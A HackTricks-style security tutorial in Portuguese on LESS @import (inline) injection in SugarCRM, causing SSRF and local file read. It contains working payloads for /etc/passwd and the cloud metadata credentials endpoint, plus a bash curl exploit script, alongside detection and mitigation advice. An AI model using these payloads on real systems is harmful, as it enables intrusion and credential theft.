LESS Code Injection leading to SSRF & Local File Read
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão Geral
LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva @import
. Durante a compilação, o mecanismo LESS irá buscar os recursos referenciados nas declarações @import
e embutir ("inline") seus conteúdos no CSS resultante quando a opção (inline)
é usada.
Quando uma aplicação concatena entrada controlada pelo usuário em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode injetar código LESS arbitrário. Ao abusar de @import (inline)
, o atacante pode forçar o servidor a recuperar:
- Arquivos locais via o protocolo
file://
(divulgação de informações / Inclusão de Arquivos Locais). - Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF).
Essa técnica foi vista em produtos do mundo real, como SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview
).
Exploração
- Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo,
?lm=
no SugarCRM). - Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são:
;
– termina a declaração anterior.}
– fecha o bloco anterior (se necessário).
- Use
@import (inline) '<URL>';
para ler recursos arbitrários. - Opcionalmente, injetar um marcador (
data:
URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado.
Leitura de Arquivos Locais
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
O conteúdo de /etc/passwd
aparecerá na resposta HTTP logo antes do marcador @@END@@
.
SSRF – Metadados da Nuvem
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC Automatizado (exemplo SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detecção
- Procure por respostas
.less
ou.css
geradas dinamicamente contendo parâmetros de consulta não sanitizados. - Durante a revisão de código, busque construções como
"@media all { .preview { ... ${userInput} ... } }"
passadas para funções de renderização LESS. - Tentativas de exploração frequentemente incluem
@import
,(inline)
,file://
,http://169.254.169.254
, etc.
Mitigações
- Não passe dados não confiáveis para o compilador LESS.
- Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas).
- Desative, quando possível, a capacidade de usar imports
(inline)
, ou limite os protocolos permitidos ahttps
. - Mantenha as dependências atualizadas – SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1.
Casos do Mundo Real
Produto | Endpoint Vulnerável | Impacto |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF não autenticado & leitura de arquivo local |
Referências
- SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS
- Aviso de Segurança do SugarCRM SA-2024-059
- CVE-2024-58258
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.